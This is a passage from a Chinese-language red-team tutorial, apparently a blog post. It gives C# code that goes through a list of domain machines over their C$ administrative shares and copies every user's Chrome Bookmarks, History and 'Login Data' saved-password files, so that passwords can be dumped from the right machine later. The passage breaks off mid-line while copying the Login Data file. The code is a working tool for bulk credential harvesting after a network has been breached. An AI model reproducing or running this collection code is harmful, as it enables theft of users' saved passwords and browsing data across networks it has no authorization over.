上文说了内网批量获取域内文件,在一些场景里面我们需要获取某台机器权限,但是可能之对外开放了80,22等端口无法通过常规手段getshell,可能在某台it个人pc存放了密码本。然而还有一些情况就是我们只需要获取某台web的后台权限即可,在一些内网环境上千台的机器,我们需要一台一台去翻找浏览器密码,就相当麻烦,于是我们可以批量解析域内每台机器,以及对应机器上的用户的chrome浏览器的书签和历史记录以及是否保存了密码为文本,然后再针对的上那台机器去dump密码,可以节约很多的时间成本。
0x01 获取chrome相关文件
chrome浏览器的一些保存文件在
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default
Bookmarks 书签
History 历史记录
Login Data 保存密码相关记录
我们按照之前的获取域内文件同理的方法,这里就不过多讲解了。创建machine.txt,逐行读取机器。
获取当前路径创建TargetChromeFiles目录
string currentpath = Directory.GetCurrentDirectory();
string DesktopFiles = currentpath + "\\TargetChromeFiles";
遍历users目录如果存在```C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default``如果存在创建机器名文件夹以及对应的用户名文件夹
string userpath = @"\\" + machine + @"\c$\users";
var user_list = Directory.EnumerateDirectories(userpath);
foreach (string user in user_list)
{
string ChromePath = user + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default";
string username = substring(user);
if (Directory.Exists(ChromePath)){
string MachineFolder = DesktopFiles + "\\" + machine;
Directory.CreateDirectory(MachineFolder);
string UserFolder = MachineFolder + "\\" + username;
Directory.CreateDirectory(UserFolder);
}
}
获取对应机器以及用户的历史记录文件
string historyPath = ChromePath + "\\History";
if (File.Exists(historyPath))
{
string historyfile = UserFolder + "\\History";
StreamWriter history_file = File.CreateText(historyfile);
history_file.Close();
bool isrewrite = true;
File.Copy(historyPath, historyfile, isrewrite);
}
如果存在就继续创建History文件,同理书签和密码保存位置
string loginPath = ChromePath + "\\Login Data";
if (File.Exists(loginPath))
{
string loginfile = UserFolder + "\\Login D